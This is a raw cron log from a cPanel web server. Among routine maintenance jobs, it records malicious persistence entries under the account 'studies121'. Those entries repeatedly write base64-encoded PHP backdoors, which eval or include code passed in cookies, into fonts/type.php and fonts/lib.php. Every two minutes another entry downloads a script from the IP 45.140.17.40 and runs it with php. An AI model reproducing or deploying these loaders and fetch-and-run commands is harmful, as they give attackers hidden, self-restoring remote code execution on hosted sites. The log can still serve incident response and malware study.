Sep 10 08:10:01 ip-184-168-122-23 CROND[32442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:10:01 ip-184-168-122-23 CROND[32440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:11:01 ip-184-168-122-23 CROND[32572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:11:01 ip-184-168-122-23 CROND[32574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:11:01 ip-184-168-122-23 CROND[32576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:11:01 ip-184-168-122-23 CROND[32578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:12:01 ip-184-168-122-23 CROND[32694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:12:01 ip-184-168-122-23 CROND[32696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:12:01 ip-184-168-122-23 CROND[32697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:12:01 ip-184-168-122-23 CROND[32699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:12:01 ip-184-168-122-23 CROND[32698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:13:01 ip-184-168-122-23 CROND[449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:13:01 ip-184-168-122-23 CROND[454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:13:01 ip-184-168-122-23 CROND[451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:13:01 ip-184-168-122-23 CROND[456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:14:01 ip-184-168-122-23 CROND[577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:14:01 ip-184-168-122-23 CROND[578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:14:01 ip-184-168-122-23 CROND[579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:14:01 ip-184-168-122-23 CROND[583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:14:01 ip-184-168-122-23 CROND[584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:15:01 ip-184-168-122-23 CROND[731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:15:01 ip-184-168-122-23 CROND[732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:15:01 ip-184-168-122-23 CROND[734]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 08:15:01 ip-184-168-122-23 CROND[739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:15:01 ip-184-168-122-23 CROND[738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:15:01 ip-184-168-122-23 CROND[740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:15:01 ip-184-168-122-23 CROND[741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:16:01 ip-184-168-122-23 CROND[841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:16:01 ip-184-168-122-23 CROND[845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:16:01 ip-184-168-122-23 CROND[846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:16:01 ip-184-168-122-23 CROND[847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:16:01 ip-184-168-122-23 CROND[852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:16:01 ip-184-168-122-23 CROND[851]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 08:17:01 ip-184-168-122-23 CROND[965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:17:01 ip-184-168-122-23 CROND[966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:17:01 ip-184-168-122-23 CROND[969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:17:01 ip-184-168-122-23 CROND[970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:18:02 ip-184-168-122-23 CROND[1137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:18:02 ip-184-168-122-23 CROND[1138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:18:02 ip-184-168-122-23 CROND[1142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:18:02 ip-184-168-122-23 CROND[1141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:18:02 ip-184-168-122-23 CROND[1140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:19:01 ip-184-168-122-23 CROND[1246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:19:01 ip-184-168-122-23 CROND[1247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:19:01 ip-184-168-122-23 CROND[1248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:19:01 ip-184-168-122-23 CROND[1249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:20:01 ip-184-168-122-23 CROND[1362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:20:01 ip-184-168-122-23 CROND[1364]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 08:20:01 ip-184-168-122-23 CROND[1370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:20:01 ip-184-168-122-23 CROND[1367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:20:01 ip-184-168-122-23 CROND[1371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:20:01 ip-184-168-122-23 CROND[1368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:20:01 ip-184-168-122-23 CROND[1369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:20:01 ip-184-168-122-23 CROND[1366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:20:01 ip-184-168-122-23 CROND[1372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:21:01 ip-184-168-122-23 CROND[1498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:21:01 ip-184-168-122-23 CROND[1500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:21:01 ip-184-168-122-23 CROND[1502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:21:01 ip-184-168-122-23 CROND[1501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:22:01 ip-184-168-122-23 CROND[1640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:22:01 ip-184-168-122-23 CROND[1643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:22:01 ip-184-168-122-23 CROND[1644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:22:01 ip-184-168-122-23 CROND[1645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:22:01 ip-184-168-122-23 CROND[1647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
